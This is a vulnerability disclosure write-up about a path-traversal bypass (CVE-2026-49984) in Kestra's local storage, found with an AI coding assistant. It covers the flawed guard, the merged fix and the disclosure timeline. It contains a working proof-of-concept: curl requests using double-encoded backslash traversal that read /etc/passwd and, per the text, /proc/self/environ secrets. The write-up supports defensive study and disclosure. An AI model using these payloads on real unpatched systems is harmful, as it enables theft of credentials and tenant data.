# Bypassing Kestra's path-traversal guard with a single backslash

## I. Introduction

Kestra is an open-source event-driven workflow orchestration platform written in Java on top of Micronaut. It lets teams declare "flows" — task graphs that move data, call APIs, run scripts, react to webhooks, and schedule themselves — as YAML, and run them through a REST/Web UI control plane backed by a worker/executor tier. It ships an internal storage abstraction (local FS, S3, GCS, Azure), an embedded H2 option, a KV store, namespace files, multi-tenancy primitives, and the "run this Docker image and you're done" quickstart that almost every self-hosted install uses in production.

![](https://cdn.hashnode.com/uploads/covers/65102b1d5866800ea27ebefa/6822976f-acd0-4db5-a323-d57f436a462e.png align="center")

It is one of the most widely adopted data-orchestrator platforms in the JVM ecosystem (`io.kestra:kestra` on Maven Central, ~18k stars on GitHub), used as the data-pipeline and automation layer of a large number of production stacks: ETL/ELT, internal tooling, SaaS back ends, and event automation.

**Vulnerable version:** `io.kestra:kestra <= 1.3.18` — every release through the latest tag at the time of writing (`v1.3.20`), including the actual latest GitHub release `v1.3.17` (verified live), `kestra/kestra:latest` (= `v1.3.16`), the `v1.3.18` tag, and `develop` prior to the merge.

**Advisory:** https://github.com/kestra-io/kestra/security/advisories/GHSA-qw4v-6w32-xx9h

**CVE:** CVE-2026-49984

**Merged fix:** kestra-io/kestra#16293 `fix(storage): reject backslash path traversal in LocalStorage (GHSA-qw4v-6w32-xx9h)` — merged into `develop` at commit `b41d0ceeeb`, co-authored credit to the reporter.

## II. Target selection

I was working through Anthropic's plan to use AI for finding bugs in open-source projects. After scanning GitHub and Maven Central for high-traffic JVM infrastructure that runs everywhere, I landed on Kestra.

From a few basic pieces of information it looked like a promising target. It is an authentication-aware control plane: anything that reads a file, lists a directory, or moves data on behalf of a user crosses a real privilege boundary. It has a large file/storage surface, and the local internal-storage backend is the default in the official `docker-compose.yml` and the `server local` quickstart. And its published security advisory page already had a recent, accepted file/data-plane bug — a Critical SQL injection → RCE (`GHSA-365w-2m69-mp9x`), patched in `v1.3.7`.

A recently patched advisory is exactly when incomplete-fix and sibling bugs are richest: the maintainer wrote the patch under pressure, the test added with the patch only covers the path the maintainer thought to check, and any sibling surface the patch silently left alone is fair game. The SQLi fix touched the JDBC repository layer and never went near file storage, so I picked path-traversal / arbitrary-file-disclosure as the sub-class to hunt.

It was also more interesting than a typical web app because a bug in `LocalStorage` is a framework bug — every controller that reads, writes, or lists internal storage uses the same plumbing, so it affects every Kestra instance that hasn't explicitly switched to S3/GCS/Azure.

## III. Finding

After cloning the repository I immediately proceeded to prompt for bug hunting. Here I used:

*   **Claude Code (Claude CLI)**
    
*   **Model: Claude Opus 4.7**
    

I pointed the model at the prior advisory (`GHSA-365w-2m69-mp9x`) and at the storage layer it never touched. The interesting shape in path code is always the same: the *guard* and the *sink* read the path in two different forms. If anything canonicalizes the path (percent-decoding, Windows→Unix conversion, `Path.normalize`) *after* the guard runs, the guard is validating a string that is not the string the filesystem will see. So I aimed the audit at that ordering.

I used the following prompt (I also used AI to generate this prompt based on the application's source code and the previous advisory's structure):

```plaintext
You are a senior offensive security researcher specialized in Java / Micronaut
applications, multi-tenant data planes, internal storage abstractions, and
validate-before-canonicalize / path-traversal bugs.

Your task is to audit this Kestra codebase.

IMPORTANT:
- Treat every prior advisory as a starting point for variant hunting. The
  developer who fixed A on path P probably left A' open on a sibling path P'.
- A path guard is only sound if it validates the SAME string the sink uses.
  Any canonicalization that happens AFTER the guard (percent-decode, Windows
  -> Unix conversion, Path.normalize, toRealPath) is a candidate bypass.
- The local internal-storage backend is the default in the quickstart Docker
  image. Treat it as the production target.
- bcrypt-style slowness is not your window here; string handling is. Focus on
  which exact bytes reach the guard vs. the FileInputStream.

Your workflow:

1. Map every webserver controller that takes @QueryValue URI / @PathVariable
   String path and reaches storageInterface.{get,put,delete,move,getAttributes}.
2. For each, find the guard (validateFile, parentTraversalGuard,
   isParentTraversal, forbiddenPathsGuard, NamespaceFile.normalize) and write
   down the EXACT string the guard sees vs. the EXACT string the sink uses.
3. Find any canonicalization that runs after the guard. windowsToUnixPath()
   converts '\' to '/'. Does the guard run before or after it?
4. Build a Docker PoC that:
   - Pins the AFFECTED version (kestra/kestra:latest and the latest release tag)
   - Uses the documented quickstart configuration
   - Demonstrates reading a file outside the storage base directory (/etc/passwd)
5. Decide whether a write/delete primitive is also reachable. Rule it in or out
   honestly — do not overclaim.

Output format:

## Candidate N
- Vulnerability type
- Reachable surface
- Source
- Sink
- Vulnerable code (file:line)
- Why the guard fails (which form does it validate vs. use)
- Payload / exploitation primitive
- Reproducible PoC (Docker + control vs. exploit)
- Impact
- Confidence level

At the end:
- Rank findings by likelihood of being exploitable.
- Clearly separate the confirmed finding from suspicious code.
```

After that, the AI produced a result showing it had found the issue. The data flow it reconstructed was:

```plaintext
ExecutionController.downloadFileFromExecution(executionId, path)
  -> validateFile(execution, path)
        -> path.getPath().startsWith(prefix)          // String prefix check only
  -> storageInterface.get(tenantId, namespace, path)
        -> LocalStorage.get -> getLocalPath -> getPath(uri, basePath):
              parentTraversalGuard(uri);                                       // (1) VALIDATE
              return Paths.get(basePath, windowsToUnixPath(uri.getPath()));    // (2) CANONICALIZE, then USE
```

The sink it identified, in `storage-local/src/main/java/io/kestra/storage/local/LocalStorage.java:64-71` (and identical on the latest release):

```java
protected Path getPath(URI uri, Path basePath) {
    if (uri == null) {
        return basePath;
    }

    parentTraversalGuard(uri);                                              // (1) VALIDATE
    return Paths.get(basePath.toString(), windowsToUnixPath(uri.getPath())); // (2) CANONICALIZE, then USE
}
```

with the guard, in `core/src/main/java/io/kestra/core/utils/FileUtils.java`:

```java
public static boolean isParentTraversal(URI uri) {
    if (uri == null) return false;
    var path = uri.getPath();
    // File.separator == "/" on Linux/containers
    return path != null && (path.contains(".." + File.separator)   // "../"
                         || path.contains(File.separator + "..")    // "/.."
                         || path.equals(".."));
}
```

and the canonicalization that introduces the dangerous sequence, in `core/src/main/java/io/kestra/core/utils/WindowsUtils.java`:

```java
unixPath = unixPath
    .replace("\\", "/")   // "..\.." becomes "../..", AFTER the guard ran
    .replace(":", "");
```

The model's conclusion: the guard only recognises forward-slash traversal. It runs at step (1); the backslash→slash conversion runs at step (2), after the check. So `..\..\..\etc\passwd` passes `isParentTraversal()` (no `../`, no `/..`, not `..`), is then rewritten by `windowsToUnixPath()` to `../../../etc/passwd`, and is handed to `Paths.get(basePath, …)` and `new FileInputStream(...)`. On the `<= 1.3.17` line the same check is inlined in `StorageInterface.parentTraversalGuard()` on `uri.toString()` — same logic, same flaw.

The most important part of the analysis was the *ordering* reasoning. Kestra's own test suite (`FileUtilsTest.isParentTraversal_true`) already covered forward-slash and even percent-encoded `%2E%2E` payloads, so the guard *looked* well-tested. But a test that never feeds a backslash cannot detect a backslash bypass, even though the project explicitly runs the Windows→Unix conversion right after the guard — meaning backslashes are a first-class input the guard is supposed to handle. The single-character difference between `/` and `\` is the whole vulnerability.

I then set up a Docker environment and continued to have the AI verify the bug end-to-end; it confirmed the bug on every release containing the affected code.

Here is the vulnerable request (the normal "download an execution output" API Kestra ships with):

```plaintext
POST /api/v1/main/flows                                  -> create a one-task flow
POST /api/v1/main/executions/poc/pocflow                 -> run it, get a real storage prefix
GET  /api/v1/main/executions/{id}/file?path=kestra://... -> download → SINK
```

backed by:

```java
@Get(uri = "/{executionId}/file", produces = MediaType.APPLICATION_OCTET_STREAM)
public HttpResponse<StreamedFile> downloadFileFromExecution(
        @PathVariable String executionId,
        @QueryValue URI path) throws IOException, URISyntaxException {
    this.validateFile(execution.get(), path, ...);
    InputStream fileHandler = switch (path.getScheme()) {
        case StorageContext.KESTRA_SCHEME ->
            storageInterface.get(execution.get().getTenantId(), execution.get().getNamespace(), path); // SINK
        ...
    };
    return HttpResponse.ok(new StreamedFile(fileHandler, ...));
}
```

Two things had to line up to exploit it over real HTTP. First, `validateFile`'s `path.getPath().startsWith(prefix)` gate — solved by keeping the genuine execution-storage prefix (which Kestra itself emits when a flow produces an output) at the front and appending the traversal with no `/` before the first `..`. Second, Micronaut's `@QueryValue URI` rejects a literal `\` — solved by double-encoding: send `%255C` → the HTTP layer decodes once to `%5C` → `URI.create()` keeps `%5C` → `URI.getPath()` finally yields `\`.

After that, I continued to use AI to build the Docker PoC — a single self-contained script that stands up the official image, creates a flow that emits a file (so a real execution storage directory exists), fires a CONTROL request with `/../` and an EXPLOIT request with `%255C..`:

```bash
PRE='kestra:///poc/pocflow/executions/<id>/tasks/makefile/<taskrun>'   # real, allowed prefix
TRAV="$PRE"; for _ in $(seq 1 14); do TRAV="$TRAV%255C.."; done         # \..\..(x14)

# CONTROL — forward-slash traversal (guard MUST block)
curl -s -u admin@kestra.io:Admin1234 \
  "$B/api/v1/main/executions/$EID/file?path=$PRE/../../../../etc/passwd"

# EXPLOIT — backslash bypass (\..\.. via double-encoded %255C)
curl -s -u admin@kestra.io:Admin1234 \
  "$B/api/v1/main/executions/$EID/file?path=${TRAV}%255Cetc%255Cpasswd"
```

Run against `kestra/kestra:latest` (= **v1.3.16**), default quickstart config:

```plaintext
[*] CONTROL  - forward-slash ../ (guard MUST block this):
    HTTP 422  (4xx = correctly blocked)

[*] EXPLOIT  - backslash bypass (\..\.. via double-encoded %255C):
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin

==> RESULT: VULNERABLE — arbitrary file read confirmed on Kestra 1.3.16
    also leaked process env -> KESTRA_CONFIGURATION=...password: Admin1234...
    (control HTTP 422 = blocked ; exploit returned /etc/passwd = bypassed)
```

Re-confirmed verbatim against `kestra/kestra:v1.3.17-no-plugins` (the actual latest GitHub release):

```plaintext
==> RESULT: VULNERABLE — arbitrary file read confirmed on Kestra 1.3.17
```

The same primitive reads `/proc/self/environ` (which leaks `KESTRA_CONFIGURATION` — DB password, secret-backend tokens, encryption keys, the configured admin password — in cleartext, defeating Kestra's own `redactedEnvVars` control, since that only masks the Pebble `{{ envs }}` function and not raw filesystem reads), the embedded H2 database file (all flows, users, and stored secrets), and the internal storage of every other tenant and namespace. CVSS 3.1 `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` = 7.7 High (8.6 if the instance runs without auth — the documented `docker-compose.yml` ships with basic-auth commented out). Write/RCE was tested and ruled out honestly: the namespace-upload path normalises backslashes via `NamespaceFile.normalize → toLogicalPath` before the guard, so the primitive is read-only — though reading the secrets database is already a full-compromise primitive in practice.

I submitted the bug shortly afterwards. Kestra accepted it; the advisory was issued as `GHSA-qw4v-6w32-xx9h`, and GitHub later assigned `CVE-2026-49984` after CVE-rules compliance review (to be pushed to the CVE List and the GitHub Advisory Database when the GHSA is published).

## IV. Fix

What I did differently here from a normal advisory submission was use Claude Code to also author the fix in the temporary private fork and carry it all the way to a merged upstream commit. GitHub exposes a `POST /repos/{owner}/{repo}/security-advisories/{ghsa_id}/forks` endpoint that spins up a private repo under the maintainer's org once a report is accepted; Claude drove it end to end:

```bash
gh api --method POST \
   repos/kestra-io/kestra/security-advisories/GHSA-qw4v-6w32-xx9h/forks
# -> kestra-io/kestra-ghsa-qw4v-6w32-xx9h  (private, default branch develop)
```

I cloned the fork, branched off `develop`, and had Claude design a patch around two principles the original guard violated: **canonicalize before validating, not after**, and **don't trust a deny-list — add an allow-list too**.

`FileUtils.isParentTraversal` — separator-agnostic, matches `..` only as a path segment (so `my..file.txt` stays valid), with a `String` overload the `URI` overload delegates to. Because every storage backend ultimately routes through `StorageInterface.parentTraversalGuard()` → `FileUtils.isParentTraversal()`, this one change hardens S3/GCS/Azure/local at once:

```java
public static boolean isParentTraversal(String path) {
    if (path == null) {
        return false;
    }
    String normalized = path.replace('\\', '/');   // unify separators FIRST
    return normalized.equals("..")
        || normalized.startsWith("../")
        || normalized.endsWith("/..")
        || normalized.contains("/../");
}
```

`LocalStorage.getPath` — canonicalize **before** validating, then a containment check so a resolved path can never escape `basePath` even if a future guard regresses:

```java
String relativePath = windowsToUnixPath(uri.getPath());
if (isParentTraversal(relativePath)) {
    throw new IllegalArgumentException("File should be accessed with their full path and not using relative '..' path.");
}
Path resolved = Paths.get(basePath.toString(), relativePath).normalize();
if (!resolved.startsWith(basePath.normalize())) {     // defense in depth
    throw new IllegalArgumentException("File should be accessed with their full path and not using relative '..' path.");
}
return resolved;
```

Plus regression tests in `FileUtilsTest` (backslash, mixed-separator and percent-encoded payloads rejected; `my..file.txt` still allowed; null handled) and `LocalStorageTest` (`shouldRejectBackslashParentTraversal` / `shouldRejectForwardSlashParentTraversal` assert `storageInterface.get()` throws on traversal URIs).

A full Gradle build on Java 25 is heavy, so Claude verified the patched logic with a standalone Java reproduction of `isParentTraversal` + `windowsToUnixPath` + `getPath` against the exact PoC payloads. The matrix:

| Payload | Affected (v1.3.16 / v1.3.17) | Patched logic |
| --- | --- | --- |
| backslash exploit (`%255C..`) | bypassed → `/etc/passwd` | BLOCKED |
| forward-slash exploit (`%2F..`) | blocked (already) | BLOCKED |
| mixed separators | bypassed | BLOCKED |
| plain `../` | blocked (already) | BLOCKED |
| legit file / dotfile / `my..file.txt` | allowed | allowed (no over-blocking) |

All green. I pushed the branch to the private fork and opened a PR against `develop` on the fork:

```bash
gh pr create \
  --repo kestra-io/kestra-ghsa-qw4v-6w32-xx9h \
  --base develop \
  --head fix/GHSA-qw4v-6w32-xx9h-path-traversal \
  --title "fix(storage): reject backslash path traversal in LocalStorage (GHSA-qw4v-6w32-xx9h)" \
  --body-file PR-BODY.md
```

The PR body led with the verification matrix and flagged two follow-ups: backport the same `isParentTraversal` hardening to the `<= 1.3.17` release line (where the guard is inlined in `StorageInterface.parentTraversalGuard()` on `uri.toString()`), and tighten `ExecutionController.validateFile()`'s weak `startsWith(prefix)` check as defense in depth.

The maintainer took it from there. **Roman Acevedo (@AcevedoR, Kestra core maintainer)** opened the public PR **kestra-io/kestra#16293**, with the body starting *"modified PR of @StarPlatinu"* and the rest of my description verbatim. He made three small adjustments and nothing else:

| File | Maintainer's tweak |
| --- | --- |
| `LocalStorage.java` | a `static import` of `isParentTraversal` instead of my fully-qualified call |
| `LocalStorage.java` | containment check uses `basePath.toAbsolutePath().normalize()` instead of `basePath.normalize()` |
| `FileUtils.java` | extra Javadoc noting the `String` overload expects a percent-decoded path |

Same logic, same tests, +115 −9 across the same four files. **Loïc Mathieu (@loicmathieu, Kestra core maintainer)** approved, and AcevedoR merged into `develop` at commit `b41d0ceeeb` with `Co-authored-by: @StarPlatinu` in the trailer. The fix was then backported to the `releases/v1.3.x` branch. The advisory state moved from `triage` to `draft`, and the temporary private fork was deleted automatically — the standard end-of-collaboration cleanup once the upstream fix lands.

## V. Timeline

- **2026-05-19:** Audited `kestra-io/kestra` `develop` with Claude Code (Opus 4.7); sink-first analysis surfaced the validate-before-canonicalize ordering in `LocalStorage.getPath`.
- **2026-05-19:** Confirmed the bug end-to-end via Docker against `kestra/kestra:latest` (= v1.3.16) — `/etc/passwd` disclosed via the backslash bypass; `/proc/self/environ` leaks `KESTRA_CONFIGURATION`. Write/RCE tested and ruled out. Submitted the report via the GitHub Security Advisory form; `GHSA-qw4v-6w32-xx9h` assigned, credited to @StarPlatinu.
- **2026-05-20:** Re-verified against `kestra/kestra:v1.3.17-no-plugins` (the actual latest GitHub release) — identical bypass.
- **2026-05-21:** Created the temporary private fork via `POST /repos/kestra-io/kestra/security-advisories/GHSA-qw4v-6w32-xx9h/forks` → `kestra-io/kestra-ghsa-qw4v-6w32-xx9h`. Pushed the fix branch (separator-agnostic `isParentTraversal` + canonicalize-before-validate + containment check + regression tests) and opened a PR against `develop` on the private fork.
- **2026-05-27 11:39 UTC:** Maintainer Roman Acevedo (@AcevedoR) opened the public PR **kestra-io/kestra#16293**, body opening *"modified PR of @StarPlatinu"*; three minor adjustments, same logic and tests.
- **2026-05-27 11:46 UTC:** Maintainer Loïc Mathieu (@loicmathieu) approved.
- **2026-05-27 13:03 UTC:** AcevedoR merged into `develop` — commit `b41d0ceeeb`, `Co-authored-by: @StarPlatinu`. Fix backported to `releases/v1.3.x`. Advisory state → `draft`; temporary private fork deleted.
- **2026-06-11:** GitHub issued **CVE-2026-49984** for `GHSA-qw4v-6w32-xx9h` after CVE-rules compliance review. The CVE record will be pushed to the CVE List and the global GitHub Advisory Database once the advisory is published.

The whole pipeline — recon, sink-first audit on a roughly 1M-LOC Java codebase, Docker PoC across two release lines, advisory submission, the native temporary-private-fork API call, authoring the patch with regression tests, verification, the PR on the private fork, and the maintainer's pickup → approval → merge into `develop` with co-author credit — ran inside Claude Code on Opus 4.7. The model carried the work from "the guard validates a different string than the sink uses" to a co-authored merge commit on the maintainer's `develop` branch, without me leaving the terminal.
